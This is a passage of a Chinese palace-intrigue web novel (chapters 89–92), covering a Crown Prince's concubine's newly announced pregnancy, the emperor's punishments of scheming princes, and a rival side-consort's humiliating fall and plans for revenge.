宣王妃等人是在水榭外逛园子时,被突然来的禁军拦下给护送过来的。
三人的脸色都不怎么好看,想来也是担心前朝发生了什么,担心自家王爷。
荣王妃领着自家幺子先一步进屋。
慎王妃紧随其后。
宣王妃从乳母手中接过瑜姐儿,一面进屋一面撑起笑:“许是出了什么事,园子暂不能逛了,我们来此歇歇脚。”
槛儿将人迎了进去。
三位超一品的亲王妃并两位亲王郡主,以及一位皇孙聚在一起,在没有裴皇后或太子妃在场的情况下。
槛儿不能同她们坐一起。
但她怀着身子,又有太子提前交代,琼苑的宫人便寻了由头请槛儿移步耳房。
就在这时,院门口又一阵骚动,却是四个太监抬着一架舁床直奔西侧殿。
一个小宫女匆匆跑来正房。
对宣王妃跪禀道:“姜侧妃娘娘出恭时不慎栽进了恭桶,把脚扭伤了!”
宣王妃:“……”
荣王妃、慎王妃:“……”
小宫女:“侧妃娘娘身上也不大好。”
“怎么个不大好法?”宣王妃问。
小宫女支支吾吾。
“就、就是……奴婢怕腌臜了主子们。”
宣王妃几人一愣,随即懂了。
“……”
虽然这么做很**道。
但原本神情沉凝的荣王妃和慎王妃都选择默默偏过头,掩了掩嘴角。
槛儿轻垂着眼,只作什么也没听见。
宣王妃扶了扶额,吩咐屋里的宫人去请在这边值守的太医给姜侧妃诊治。
又问那小宫女:“既是出恭时摔的,怎的现在才将人送来?”
如姜侧妃老早就离席出了水榭,这都过去快小半个时辰了,出恭能这么久?
小宫女就说姜侧妃摔晕了,但因着恭房里一直没声儿,外头值夜的人就以为姜侧妃今儿不顺畅,等了好一会儿。
等大伙儿意识到不对劲后进去找人,就见姜侧妃身上很不好,处理了好久。
宣王妃:“……”
宣王妃实在不敢想姜侧妃身上有多不好,摆摆手随口将小宫女打发了。
槛儿没再久留,去了耳房。
这地方到底不便,槛儿只简单洗了洗手和脸便到临窗的榻上靠着了。
跳珠银竹身上有伤,槛儿也没让她们站着,就和她一道靠在软榻上歇着。
睡是睡不着的。
主仆仨时而说说话,时而望着院里出神。
直到寅时过半,院中响起一阵整齐的脚步声,其间再度夹杂着甲胄摩擦声。
槛儿坐起身。
就见院子里的禁军撤了。
不多时,一道熟悉的身影出现在院里。
槛儿的心总算落回了实处。
下了榻还没走到门口,太子跨进了门槛。
槛儿本能地往后一退。
“当心些。”
男人长臂一伸,扶住她的肩。
槛儿抓着太子的手臂。
借一旁的落地纱灯细细打量着他。
骆峋安抚地摸摸她的发髻,沉声道:“没事了,随孤回东宫,有话回去再说。”
槛儿点头。
二人准备去正殿同宣王妃,和刚刚随太子过来的宣王打声招呼便走。
然而从耳房出来。
不知今晚心绪不宁累到了,还是别的,槛儿刚朝台阶迈出一步,眼前突然一黑。
.
黎明时分,天际将亮未亮。
厚重肃穆的宫墙之下。
一个个禁军仿若一座座石雕也似一动不动。
朦胧的晨光模糊了他们的面容,光影交错间那一张张冷肃的面容乍一眼透着几分令人毛骨悚然的诡异。
乾元殿,后寝殿。
全仕财悄无声息地入内。
对坐在罗汉床上的元隆帝低声禀道:“陛下,静妃娘娘……庶人**芜择了鸩酒,寅时六刻,上路了。”
元隆帝身上还穿着昨晚宴席上的龙袍,双腿盘坐,透过琉璃窗望着外面。
全仕财犹豫了一下,硬着头皮道:“庶人**芜,有话想对陛下说。”
元隆帝眼皮子都没撩一下。
“说。”
全仕财:“十四皇子乃陛下亲生,望陛下念在骨肉至亲的份上,留其一命。”
“罪妇,感激不尽。”
话音落下,屋中再度恢复沉寂。
良久。
元隆帝倏地一笑。
“感激不尽?朕杀了她爹,流放了她族人近百口,朕的好儿子辱了她长姐。
她那弟弟不久前就死在朕面前,朕如此待她,她还能对朕感激不尽?”
全仕财低着头,不知怎么接话。
十五年前的那桩案子算起来确实不是元隆帝一人之责,可最终下圣旨的是他,要说完全与他无关又不尽然。
且睿王的德行元隆帝清楚。
但他几乎不曾过问过儿子们的后宅之事。
一来他这个皇帝的确忙,收复失地,固边强戍,惩贪治腐,充盈国库,通
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商惠工等等。
哪一样都要他。
他能抽空检查儿子们的学业武艺已是极限,男女相关之事他是真没时间。
二来也是他自觉威重令行。
觉得即便哪个儿子私德有亏,也断不敢在他眼皮子底下行欺男霸女之事。
谁曾想……
那陈家小子所言,倒也不无道理。
元隆帝冷嗤一声。
又沉默了片刻,他看向全仕财,“你觉得,今晚的事当真与太子无关?”
全仕财哪知道呢,也不敢直接答。
不过他与元隆帝是打小的情分,有些话倒也能说:“太子从小懂事,三岁就知道在您跟前侍疾,为您暖脚。
您那年出征,太子日夜对天祈祷,盼天佑我大靖,如此您便能不用那么辛苦了。
老奴是个阉人,不懂儿孙绕膝的天伦之乐,只每每见太子与您在一起,老奴总会忍不住想抹泪,老奴……”
元隆帝:“也就是你觉得太子和此事没关系!”
全仕财:“……”
全仕财吸吸鼻子:“奴才可没这么说,奴才只是觉得殿下是您带大的,殿下品性如何谁又能有您清楚呢。”
元隆帝:“……”
是啊。
太子是他带大的。
那么多孩子,唯独太子是他手把手教出来的。
因为是他和发妻的儿子,因为小家伙出生之际天降异象,被他奉为吉兆。
也因为,他最像他!
元隆帝扪心自问。
太子是他最满意的儿子。
可大抵是年纪大了,近几年他时不时便会想起先帝,想起自己的父皇。
想到父皇在他这个年纪时,他们底下的这些个兄弟也都是在勾心斗角。
元隆帝不知父皇当时看着他们这些儿子们,为他屁股底下的那把龙椅争得头破血流时,是何等感受。
反正他看着太子一日日长成,一年比一年有出息,他总觉得自己身后有人在追着他索命,盼着他早死。
天家无父子。
古往今来,弑父杀君,皇帝老子被亲儿子逼宫,被太子弑杀的先例还少?
皇帝再骁勇英明他也是人。
是人就会怕。
所以他借皇长孙把信王立起来,借魏贵妃把睿王立起来,其他几个不顶用,但也多多少少给了立身之本。
到头来。
大的那三个老早就不顾他这个爹的死活了!
而昨晚之事,太子真没插手?
不见得。
毕竟,最像他。
他不了解儿子,还能不了解自己?
“呵。”
元隆帝轻笑了声,起身掸掸衣袍。
“替朕更衣吧。”
第89章 **的吻,姜侧妃:我不干净了呜呜呜
槛儿醒来时已临近晌午,她意识恍恍惚惚,看到的不是自己屋里熟悉的帐顶。
也不是琼苑的耳房。
喉咙干得厉害,槛儿没忍住咳了咳。
一只大掌在她的额头上探了探,槛儿一扭头,对上男人清冷幽深的眸子。
“殿下……”
“别乱动。”
骆峋扶着她的肩按住她,顺势在其腰后垫了个靠枕让她就这么靠到床头。
再端起床头案几上备好的温水,侧身坐到床沿,动作别扭地要喂槛儿喝水。
槛儿:“……”
她其实也没有虚弱到这个地步。
太子大可不必……
等等!
难道是肚里的孩子出了什么意外?!
槛儿惊了一下。
顾不得张嘴喝水,难得有些慌神地摸到肚子上,“殿、殿下,难道是孩子……”
骆峋:“……”
他只是看她夜里受了惊,想着仔细些待她。
正要解释。
门外一阵隐隐环佩珠钗响由远及近,是裴皇后领着郑明芷和曹良媛来了。
骆峋起身放下茶碗。
再坐回榻前的凳子上,再在裴皇后等人进来时面无表情地站起来,一副他刚刚一直坐在那儿的模样。
槛儿:“……”
事情可能不是她想的那样。
孩子没事。
见人都进来了,槛儿打算下榻见礼,但刚有动作便被郑明芷上来给按住了。
“快别动,都有身子了,就是不讲究这些个虚礼娘娘与我也不会怪罪的。”
说着话,她的语气是前所未有的温柔,脸上的笑也是从未有过的明媚灿烂。
饶是熟知对方的秉性,槛儿的胳膊上也还是被激起了一层鸡皮疙瘩。
呃。
太子前晚还跟她说暂时不用到嘉荣堂报喜,这才隔了一天就能公开消息了?
脑子正飞速转着,侧目见站在裴皇后身侧的太子面无表情眨了一下眼。
很寻常的一个动作,加上他冷冰冰的神色,换做一般人还真不一定会注意到。
但槛儿懂了。
两人的眉眼官司仅在一瞬间,槛儿熟练地稳住心绪,迟疑地朝裴皇后看去。
这一番表现在郑明芷和曹良媛看来就是,她本人还不知道自己有了身子,一时听到这个好消息人都懵了。
且不提郑明芷心中如何想。
总归曹良媛是酸得牙都要掉了。
昨晚她们一众女眷在水榭被一群禁军团团围住,她们提心吊胆了大半宿。
好不容易禁军撤了,女眷们相继散了。
她和郑氏回了坤和宫。
岂料,姓宋的竟是被太子抱回来的!
还诊出了喜脉!
哪怕知道这是迟早的事,她也老早就有心理准备,可偏偏是昨晚那种情况。
曹良媛到现在都还觉得头顶天雷滚滚,偏有裴皇后在,她还不能表现出来。
“瞧瞧,宋妹妹都高兴坏了,真要恭喜妹妹了,太医说你有两个月的身孕了!”
槛儿借袖子遮掩往手背上掐了一把,眼眶立马一红,“娘娘,妾身……”
裴皇后余光瞥眼儿子,眼角抽了抽,随即坐到榻前笑着握住槛儿的手。
“夜里你晕倒才诊出来的,太医说你受了惊,暂不宜远距离挪动,如何?这会儿可还觉得有哪不舒服?”
槛儿摇摇头:“多谢娘娘关心,妾身暂时没有觉得哪不舒服了,就是,妾身……”
说着,她略显踌躇地抚上小腹。
“莫哭莫哭。”
郑明芷很是体贴地替槛儿擦擦眼角的泪。
“太医说了有了身孕切忌大喜大悲,知道你高兴,但也要放宽心知道吗?”
两辈子,槛儿还是头一回听郑氏拿这样的语气跟她说话,还替她擦眼泪。
即便知道对方在做戏。
槛儿也禁不住暗暗打了个寒颤,嘴上从善如流地应道:“好,妾身明白了。”
又言语关切了一番。
知道儿子怕是还没跟小昭训说上话,裴皇后便寻了个由头,带着郑明芷和曹良媛如来时那般匆匆走了。
屋里重新静下来。
两人同时看向彼此,默默对视一眼。
骆峋重新来到榻前,再重新端起那杯温水,犹豫要不要像刚刚那样喂她。
喂,会显得太刻意。
不喂……
槛儿好歹跟这人生活了一辈子,多少还是能从他那张冷脸上读出几分意思。
她只觉得太子这辈子的改变可真大啊,跟上辈子一比完全就像是两个人。
槛儿装出几分虚弱来。
抬起还微微有些泛红的眼睛,软声道:“殿下,妾身的手好没劲儿,动不了了……”
骆峋:“……”
骆峋只当没看见她眼里的刻意,一脸正色地坐过去,揽着她的肩喂她喝水。
槛儿没劲是假,口渴是真,大半杯水被她咕咚咕咚一口气给喝见底了。
最后一口太子喂得有点急。
槛儿没怎么来得及吞咽,水从唇角溢了出来,顺着下巴一路流到颈子上。
喝完她也没顾仪态,靠在男人肩头喘气。
“有劳殿下了。”
骆峋放了杯子,拿帕子擦去她唇和脖子上的水渍,淡声问:“这么渴?”
槛儿仰头看他,“昨晚忘记喝水了。”
喝水都能忘了。
就算她不说,骆峋也知晓其中原因。
拿帕子擦去她嘴角的水渍,骆峋的指腹在上面抚了抚,“没事了,不必担心。”
槛儿抱住他。
她确实活过一辈子,不论在东宫内还是东宫外,接人待物都能应对自如。
可这种关系到几个皇子争权,可能会危及东宫的大事,还是上辈子没发生过的。
且她帮不了什么。
槛儿便自认欠些火候。
骆峋感受着她环住他的力道,轻拍了拍她的肩,“孤说了,不会让你有事。”
之前,他的确没想过走这一步棋。
自小母后和身边的谋臣便告诉他,他是中宫嫡子,是名正言顺的大位继承人。
只要他不犯错,那个位置迟早都是他的。
这样的话,父皇也曾说过。
他相信父皇母后,也相信自己,所以这些年他虽暗地里有布置,却是只求稳妥。
但端午射柳之事却提醒了他,他即便手眼通天,也终究会有不察疏忽之时。
而随着父皇的年岁越来越大,他老人家对他的疑心病也只会越来越严重。
如此。
睿王等人便有的是机会往他身上叠加罪名,直至最后让他被父皇厌弃。
至此,骆峋的想法有了改变。
只他到底低估了睿王夫妻的无耻程度,直至昨日前收到线人来报。
得知睿王夫妻
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这回的具体计划,得知他二人妄图对她行那等龌龊下流之事时。
骆峋第一次感到愤怒!
若非限制槛儿的行动会打草惊蛇,昨晚他都不会给那些人接近她的机会。
所幸,陈家姐弟这步棋他早有安排。
父皇只知陈家姐弟和信王、荣王、睿王三方都有干系,却不知在此之前母后的人便暗中找过他二人了。
与其说是信王、荣王、睿王想借陈家姐弟给彼此,给他使绊子,倒不如说是母后让他们和陈家姐弟有了联系。
诚然,母后不会让父皇出事。
他幼年时父皇真心疼爱他,骆峋也不会容许陈家姐弟真对父皇做什么。
且弑君,又哪会如此容易。
这一点,陈家姐弟很清楚。
所以换言之,他二人的目标其实从始至终就只一个,那便是报长姐之仇。
是睿王。
至于信王和荣王,他们并不在意。
骆峋知道父皇会疑心他。
朝中也会有人猜忌他。
但没关系,他不会让父皇坐实对他的怀疑,也不会叫朝中的某些人抓住把柄。
当然,这些事骆峋不打算告诉槛儿。
昨夜睿王夫妻妄图对她不轨的事,骆峋亦不愿脏了她的耳朵,让她犯恶心。
槛儿见太子说完那句“不会让她有事”就没声了,猜到他是在想昨晚的事。
她也没追着问。
等他想得差不多了。
槛儿才很小声地问:“昨晚您和娘娘都忙,怎么还把妾身抱到娘娘这儿来了?”
如果他暂不想把她有身孕的消息公开,即便她晕倒,也可就在琼苑诊治。
骆峋险被她做贼似的模样逗笑,好在他稳得住,神色平淡地同样压低声音。
“顺势而为,无需再瞒。”
他不至于拿尚未成形的幼子做筹码。
槛儿有些意外,她原以为太子这时候公开她有孕的消息是另有打算呢。
没想到只是顺势而为,倒是她多心了。
槛儿暗窘。
骆峋看着她明澈如水的眸子,想到了昨晚她手攥金簪朝他扎来时眼里的决绝。
莫名的感觉,心里似有什么要钻出来。
骆峋抿抿唇。
旋即低头,唇瓣很轻地印在她的眉心。
刚亲完,不经意瞟到窗户。
日光灼灼。
太子爷的身子陡然一僵。
**就罢,居然在母后宫中便……
太子爷的脸绷了又绷。
最终呼出一口气。
罢。
她夜里受了惊,他是该安抚。
.
“呕……呕,呕!”
宣王府,揽霞居。
姜侧妃从醒来就开始吐。
过了半个时辰她感觉五脏六腑都要呕出来了,喉间那股恶心却还是止不住。
春桃不住地替她顺着气。
“太医说了您的腿至少要静养三个月,您这样泡在浴桶里实在不利于养伤,没准儿还会加重伤势,起来吧主子。”
姜侧妃伤的是左腿。
伤处已经进行了复位和固定。
这会儿她整个人泡在浴桶里,那条伤腿便以一种高难度的姿势搭在浴桶边。
夹板固定的地方早沾了水。
姜侧妃吐得眼泪哗啦直流。
“我要泡!我要泡!我身上都是屎,全是屎味儿,我不干净了呜呜呜……呕!”
第90章 穿书vs重生,穿书女必胜!
春桃、秋桂昨晚在宫门外候着,并不知道自家主子在宫里发生了什么。
姜侧妃不省人事地被抬回来时,宣王和宣王妃也都没说她是怎么受的伤。
俩丫鬟一头雾水呢,又不得不继续劝。
“没有不干净,您身上香着呢,不信您闻?这还是您亲自调制的香露呢。”
“是啊主子,您身上香得都入味儿了,再香下去,只怕外头那些蜜蜂蝴蝶还当是花仙子来了呢,您就起来吧,”
“滚开!别碰我!”
姜侧妃**的心都有了。
昨晚她本来打算让宋槛儿向她道歉。
只要对方态度好,她就大**量不追究她端午宴上不给她面子的事。
谁知那姓宋的,一直跟她装傻就不说,最后竟还敢让身边的奴才对她动手!
姜侧妃就纳闷了。
这里不是古代封建社会吗?
不是最注重皇权等级吗?
宋槛儿一个区区七品昭训,哪来的胆子敢对她一个二品的亲王侧妃不敬?
姜侧妃真心厌恶雌竞,厌恶搞雌竞的人,所以她也真心看不起古代这些为了争男人而斗得你死我活的女人。
她让宋槛儿跪下磕头,只是为了迎合这个时代罢了,对方道完歉她就愿意和她相亲相爱,这样不好吗?
偏偏那姓宋的要自甘**自甘堕落,硬要和同为女性的她为敌,简直可笑。
不过也行。
姜侧妃心想,她早该清楚的。
这世上不论男女,都不可避免的会有烂人,她本来也就不该把人想得那么好。
既然如此,对于这种敬酒不吃吃罚酒的人。
她也不需要再客气!
所以昨晚在被小宫女扶起来的时候姜侧妃就打算,看什么时候寻个机会把宋槛儿重生的事告诉太子。
反正,她逮着她的把柄了。
不怕太子不信。
心里有了主意,姜侧妃也没那么气了,准备顺便去恭房解决一下再回水榭。
但让她没想到的是,就在她解决完刚准备穿裤子时她所在的隔间里灯灭了!
不等她反应,她右腿的某个地方突然一麻,她整个人不受控制地就往恭桶栽。
当时她使劲想扭转身子。
想呼救。
谁知这时另一条腿也麻了,还像是被人点了哑穴,丁点儿声音都发不出来!
她根本来不及反应。
脚就一崴,整个上半身都栽进了恭桶。
恭桶!
里面她刚刚解决的啊!
还是热的!
都以为她是摔晕的,实际她是被恶心晕的!
她的嘴里还……
“呕!呕!”
姜侧妃一个劲儿干呕。
如是又过了半个时辰。
终于有了消停的迹象,姜侧妃虚脱地靠着浴桶,有气无力地问:“王爷呢?”
她都这样了,那男人居然没来看她!
好大的狗胆!
春桃:“宫里出了大事,王爷早上回来没多会儿就又出去了,现在还没回来呢。”
姜侧妃晕了一晚加一上午,醒来后又一直在吐,压根儿还不知道发生了什么。
“什么大事?”
春桃、秋桂对视一眼,把屋里伺候的小丫鬟都支出去,这才压低了声音。
春桃:“您不知道,陛下今儿一早下了好几道圣旨,信王爷、荣王爷还有睿王爷、睿王妃都被降罪了!罪罚还不轻!”
姜侧妃一惊,来了兴趣。
示意春桃赶紧说。
春桃就道:“说是信王爷和荣王爷席间吃醉了酒,御前失仪,以下犯上。
今日早朝这两位王爷被陛下当众申饬,各廷杖六十,之后被罚了三年俸禄,革了六部的职闭门思过一年,两个王府内还都安排了人看守呢。
睿王爷和睿王妃更严重,祸乱宫闱,败坏伦常!睿王爷被贬为庶人,今天起幽禁于城东南的十王府,终身不得出。
据说睿王妃本是该赐死的,但她诞育皇孙有功,最终也被贬为了庶人,发配到大觉寺剃度做苦役去了!”
秋桂补充:“前睿王妃的爹承德侯爷被削爵罢了职,郭家一家子都要被流放到三千里外的滇东南开化府。”
“还有魏贵妃!”
春桃想起来道。
“魏贵妃成魏嫔了,她爹不是安临伯吗?现在也是庶人,全家都被逐出了京。”
这可真是大事!
姜侧妃都顾不得想自己栽进恭桶的事了,打了鸡血似的盯着两个大丫鬟。
“到底咋回事?好好的怎么说罚就罚了?太子呢?其他几位王爷呢?”
春桃、秋桂先是齐齐摇头。
她们哪能知道得这么细啊。
她们刚刚说的这些都是陛下公开下了圣旨的呢,圣旨上又不会说这么细致。
春桃:“您是问太子有没有被罚吗?没有,咱们家王爷和慎王爷,简王爷都没事。”
姜侧妃大失所望。
太子怎么就没被罚呢。
要是就此把太子废了该多好。
太子出了事,东宫的女眷自然而然讨不到好,到时候宋槛儿还能跑得了?
不对!
信王、荣王、睿王都出了事。
没错了,一定是太
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子动的手脚!
信王有德妃的娘家和皇长孙两个筹码,睿王有魏贵妃在后面撑着,近几年这两个人是太子最大的威胁!
他俩出事,不可能和太子脱得了干系。
关键就在于证据。
没有证据证明是太子,一切都白瞎。
不过,又是廷杖又是革职。
睿王夫妻甚至成了庶人,母家还连坐了,说明这几个皇子犯的事比想象中大啊。
据姜侧妃所知,皇子是皇家宗室的关键。
一次性处死几个皇子或者把人都废了这种事,一般只有昏君和**做得出来。
且很容易引起朝局动荡,动摇国本。
能让元隆帝下这样的旨……说明睿王他们犯的罪极有可能涉及到谋逆?!
姜侧妃被自己的猜测惊到了。
问题是荣王……
她不明白。
荣王的生母只是元隆帝潜邸时期的一个普通侍妾,生荣王时难产**。
荣王刚开始被裴皇后养着。
后来裴皇后小产,荣王就被抱养给了当时的赵侧妃,也就是现在的赵淑妃。
荣王打小聪明,有仁恕慈爱的美名,早些年和信王睿王也是争锋相对。
不过荣王运气不好。
前头那个王妃极其善妒,某次和后院妾室斗的时候一时气性上了头。
把毒投给荣王了!
荣王捡回了一条命,但腿脚从此落了病。
好像是成了长短腿。
平时那只脚穿着特制的鞋倒看不出来,一旦走得稍微快些就非常明显。
荣王因此丧失了夺嫡资格。
不过可能因为曾被裴皇后养过两年,荣王倒是一直没有针对过太子。
这两年不知为何,人也开怀了许多。
和宣王一样,是**。
既然这样,荣王怎么会遭呢?总不能太子连他自己的人都不放过吧?
姜侧妃一时半会儿想不到但凡牵扯到权力利益之争,便少不了丢车保帅。
此时她更想不通书里没有万寿节这段剧情,太子为什么突然就有动作了?
这事宣王一定知道。
她得问问宣王。
还有宋槛儿。
姜侧妃紧紧扣着浴桶边沿。
宋槛儿身边那个宫婢的手劲儿可不简单,自己前脚和宋槛儿起了争执,后脚就栽了这么大一个跟头!
要说不是宋槛儿叫人做的。
她把脑袋割下来当球踢!
姜侧妃冷笑。
她给过机会了,是对方自己不珍惜。
等着吧。
穿书女vs重生女,只能是穿书女胜!
第91章 太子爷的别扭,其实就是想太多……
姜侧妃被大丫鬟告知今早发生的事时,槛儿也回了永煦院,从银竹口中得知了元隆帝连下的这几道圣旨。
至于昨晚前朝具体发生了什么,银竹不是很清楚,自然也说不了什么。
不过,根据元隆帝的圣旨内容。
槛儿稍微动动脑子就知道,昨晚设局对她下手的是睿王和睿王妃无疑。
槛儿对睿王夫妻私下里的做派并不了解,但她知道在大事上,睿王是典型的不仁不义手狠心辣之辈。
上辈子太子被幽禁,便是睿王搞的鬼。
后来太子登基。
第一个被清算的就是睿王一系,睿王也是众皇子中唯一一个被凌迟处死的。
且其中一项罪名还是——
**民女,玷辱天潢。
所以可想而知,昨晚她如果真落入了睿王手中将会落得个什么样的下场。
所以,昨晚假山后的女声就是睿王妃。
睿王妃要么是助纣为虐。
要么就是她跟睿王有什么不为人知的癖好,若不然好好的正妻,怎会伙同自己的丈夫做此等卑鄙无耻之事!
“主子,您没事吧?”
银竹见昭训主儿听她说完圣旨的事便突然沉了脸色,忍不住小心问道。
槛儿摇摇头。
交代银竹道:“寒酥跳珠那边我会交代,你稍后叮嘱小福子他们不可妄议此事,更不准到外面和别人谈论。”
单是想对她下手,睿王夫妻不会被罚得这么重,肯定牵扯到了别的事。
圣旨说元隆帝顾念骨肉亲情,实则是涉及到伦理纲常、祖制和朝中局势。
即便是皇帝,但凡涉及到掣肘权衡,一个皇子也不是说赐死就能赐死的。
这样的事,她不会当着太子的面过多询问,也不能叫下面的人随意谈论。
万寿节刚过,各地藩王和使节今儿还在京,太子刚刚回了一趟元淳宫又走了。
槛儿昨晚熬了大半宿的身子还乏得紧,简单用了午膳就回卧房补觉。
而就在她睡着时,宋昭训有喜了的消息也跟风似的传遍了整个东宫。
好家伙。
眼看着几位成年皇子,除了还没大婚的简王,就数他们家太子爷没子嗣。
这下子好了。
他们东宫也是要有小主子了!
大伙儿委实激动了一把。
不仅仅因为皇家的子嗣也是稳固位置的一项筹码,更因为东宫的好些人都是从太子入住东宫起就跟来的。
是看着太子长大的。
这种情分自是旁人不能比。
万寿节出了纰漏,大伙儿不敢情绪外漏得太明显,可私下碰到一起对个眼神。
都能从彼此眼里看到喜意。
香叶轩正房的跑腿小太监从外面回来,脸都是白的,磕磕巴巴禀了消息。
都做好被骂的准备了,哪知这回承徽主子只看了他一眼就让他退下了。
小太监心有余悸。
擦擦额角的汗回到院门口。
和他一道守门的另一个方脸小太监使了个眼色,低声问:“没闹?”
“没,要闹了我能这么快过来?”
方脸小太监挠头:“这还真是太阳打西边儿出来了,不会是还在酝酿吧?”
“谁知道呢……”
卧房里。
白菘踌躇道:“主子,真要这么做吗?”
“不然呢?”
金承徽瞪她。
“她害我三番两次吃苦头,难不成还要我就这么算了?我没有那么大度!”
姓宋的算个屁。
她做什么要为一个奴才忍气吞声?
紫苏:“可她现在怀的是东宫的第一个子嗣,殿下和皇后娘娘肯定重视……”
金承徽翻白眼:“怕什么,又不是要对她的肚子做什么,孩子她想生就生呗。”
东厢房里。
秦昭训手持一本卷册坐在书房临窗的榻上,丹碧与丹霞你看看我,我看看你。
还是丹霞没忍住。
歪嘴小声道:“怀上了又咋,还不是替别人生的,她一个暖床玩意儿又养不了。”
丹碧:“有了身孕不能侍寝,等她生下来,殿下没准儿连她长啥样都不记得了呢。”
两人拐着弯宽慰秦昭训。
秦昭训淡淡看了她们一眼,倒是仍旧一副不问世事的模样,随她们说去了。
.
“奶娘,你说我现在要不要做些什么呢?”
嘉荣堂里。
郑明芷半靠在软榻上,心情很好地问。
她今儿是真高兴。
昨晚前朝那么大的动静都没牵涉到东宫,宋槛儿小蹄子又有了好消息。
啧,双喜临门啊。
“主子不必着急。”
庞嬷嬷替她捏着肩,耳语道。
“妇人怀胎前三个月最是要紧,您顶多明儿个叫人象征性送些赏过去。
叮嘱她几句注意身子之类的话就行,也免得她自己不当心出了什么意外,回头却要往咱们头上扣盆子。”
郑明芷觉得在理。
“那明日奶娘你跑一趟吧,也显得我对她这一胎的重视,我可盼着她给我生个儿子呢。”
.
槛儿这一觉睡到了傍晚。
想来老天也是个看人下菜碟的,前两天的天气凉爽得不像是六七月的天,今日温度一下子就升起来了。
槛儿起来摸了一颈的汗。
去浴间收拾一番出来,晚膳已经摆好了,厅堂角落里放着一台小型冰鉴。
莫院判说了,有孕的妇人也可以用冰,只要注意着时间少次适量即可。
槛儿在冰鉴旁边站了一小会儿,稍微褪了褪身上的热气才来到膳桌前落座。
她最近的膳出自太子的灶。
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>只不过前些日子她有孕的消息没公开,莫院判开的食疗单里的几样食材和药材又兼具有固胎解暑效用。
以至于膳房并没有发现什么。
今儿得知喜讯。
膳房总管兼太子膳食掌勺姚大发当即抡起大勺,要给宋昭训做好吃的。
那架势,只恨不得把国宴给搬上桌。
还是他干儿子沈旺提醒。
说宋昭训现在吃不得多硬的菜,得调养啥的,姚大发才放弃了把大勺抡冒烟。
但即便如此,今晚的这顿膳也是姚师傅费了好一番功夫精心烹调的。
一盅燕盏鸽吞燕,鸽子用的是上等乳鸽,整只形状完美,处理得不见一丝腥气。
发好沥干的燕窝塞进鸽子腹腔,紫砂盅底部铺上火腿片、姜片、葱等调料。
再将乳鸽腹部朝上放入其中,最后加上温热的清鸡汤,盖上盖儿后将紫砂盅放到大锅中炖上一个半时辰。
出锅时放入少许的盐,整道汤清亮见底,鸽肉酥烂脱骨,既好吃又滋补。
此外还有一碟儿水晶蹄花冻、荷叶粉蒸鸡,外加几样精美素菜和面点,以及樱桃、蜜桃和葡萄几样鲜果。
估计是还没开始真正害喜,槛儿自打伤暑彻底好了就没有再吐了。
左右菜量都不大,她用了七七八八。
天热,又是晚上,膳后槛儿没再去后面小花园消食,就在院子里逛了几圈。
眼见天黑了,槛儿回屋时不经意看到廊檐下那两盏精致漂亮的宫灯。
说起来,自打太子开始连番涉足她这边,这两盏灯似乎就鲜少被提起了。
槛儿失笑,叫小福子他们把灯灭了。
小福子正要应。
院门口方向响起熟悉的动静,槛儿回头,果然见太子从庭中假山绕了过来。
“殿下。”
槛儿做出欣喜状,小跑着迎上去。
骆峋心头一紧。
眼见人到了跟前,他下意识伸展手臂。
槛儿其实没想扑他。
可太子手都伸出来了,她如果不过去。
多尴尬。
于是槛儿没有停,过去抱住了太子。
骆峋搂着她,冷道:“怀着身子,跑什么?”
槛儿偷偷撇嘴,仰头看他。
“妾以为殿下今日忙,晚上不会来了呢,没想到殿下来了,妾身见到您高兴。”
咳咳。
骆峋扫眼前后的宫人,脸是冷的。
“那也不能跑。”
槛儿假装没看到太子爷的别扭,恭顺应好,挽着他的胳膊把人往屋里领。
骆峋想把胳膊抽出来。
但想想天已黑。
且莫院判说有孕之人忌多思多虑,若他此时抽出胳膊被小昭训察觉,岂不容易让她误会他不喜与她亲近?
罢。
等她生产后,再同她讲规矩吧。
第92章 太子剥葡萄“反正孤不会在书房和她……”
骆峋沐浴后才过来的。
身上换了件茶白绣云雁竹纹的宽袖常服,能闻见一股沐浴不久的淡淡香露味。
但离就寝时辰还早,且槛儿不能侍寝,于是两人进屋后便习惯性进了书房。
书房窗前有一棵水桶粗的槐树,浓荫如盖,刚好能将书房前的日晒遮得严严实实。
傍晚时再把房间里外擦一遍,墙角摆上一盆冰,书房便明显比别的地方凉爽。
太子来的次数多了,槛儿这边的书架上也渐渐多了些他看的山河游记、名人碑文以及修身养性等类的书籍。
经过书架骆峋随手拿了一本修身养性的,来到临窗的罗汉床前落座。
槛儿也假模假样地在书架上挑选了一番,一面挑一面询问太子的意见。
最后挑了一本游记。
她前段日子“启蒙”过了,这会儿在人前也能适当地自己看些书,时不时假装遇上几个不懂的问题进行询问。
倒也不至于露馅。
等她在对面坐下,骆峋默了一瞬,随即面无表情地状似随口问:“下午在做什么?”
槛儿有些意外。
太子竟过问起她的日常。
估计是昨晚她遇险,今天外面又动荡不定,他以为她会被吓到进而影响胎儿吧。
毕竟太子挺重视孩子。
槛儿仅用一瞬想通了其中缘由,也没觉得他看中孩子有什么不好,笑着将自己睡了一下午,晚膳用了什么。
都细致地同太子说了一遍。
骆峋听完颔颔首。
莫院判说了,有孕之人情绪或不稳定。
就譬如十日前尚不知她有孕时,她一见着他就落泪,哭得完全止不住。
平日里她可不会那样。
当然,夜里榻上除外。
那时她哭,也不是因为难受。
总之,有孕的妇人要保持心情愉悦。
昨晚她刚受惊,今日外面局势动荡,信王等人被罚的消息应该有人告诉她了。
这种情况,骆峋便不想她过于紧绷。
他是夫主,关心一二算是表达对她以及她腹中孩儿的重视,她应该会高兴吧。
他自然重视孩子,但他先有的她。
骆峋瞥眼槛儿含笑的眉眼。
确定了自己的想法。
不再多说,他翻开手中的书看起来。
槛儿上辈子就习惯了和太子这般相处,也不觉得有什么不适应。
两人就这么一个养性,一个看游记。
偶尔看到一处地方槛儿假作不懂地询问,太子亦耐着性子为她讲解。
寒酥和跳珠一左一右给两位主子扇着风,偶尔相视一眼,彼此眼里都藏着心照不宣的笑,屋中气氛很是和谐。
过了会儿,望晴端进来一碟葡萄,放到罗汉床上核桃木黑漆雕灯笼纹的小几上。
这是太原府今年进贡的水晶葡萄,颗颗有鸽子蛋大小,颜色剔透果皮很薄。
葡萄被冰镇过,但放在外面有一会儿了。
槛儿吃也没问题。
瞥眼专注的太子,槛儿由寒酥伺候净了手,然后捻起一颗葡萄剥了起来。
骆峋余光注意到她的动作。
以为她是要自己吃,没管。
有关女子孕期需要注意的事项他已背下了,忌什么不忌什么他心里有数。
就是……
不经意瞥见浅青色的葡萄皮经她如玉的指尖剥开,露出鲜嫩剔透的果肉。
葡萄、书房、他和她?
骆峋觉得此情此景很是眼熟。
细细一想。
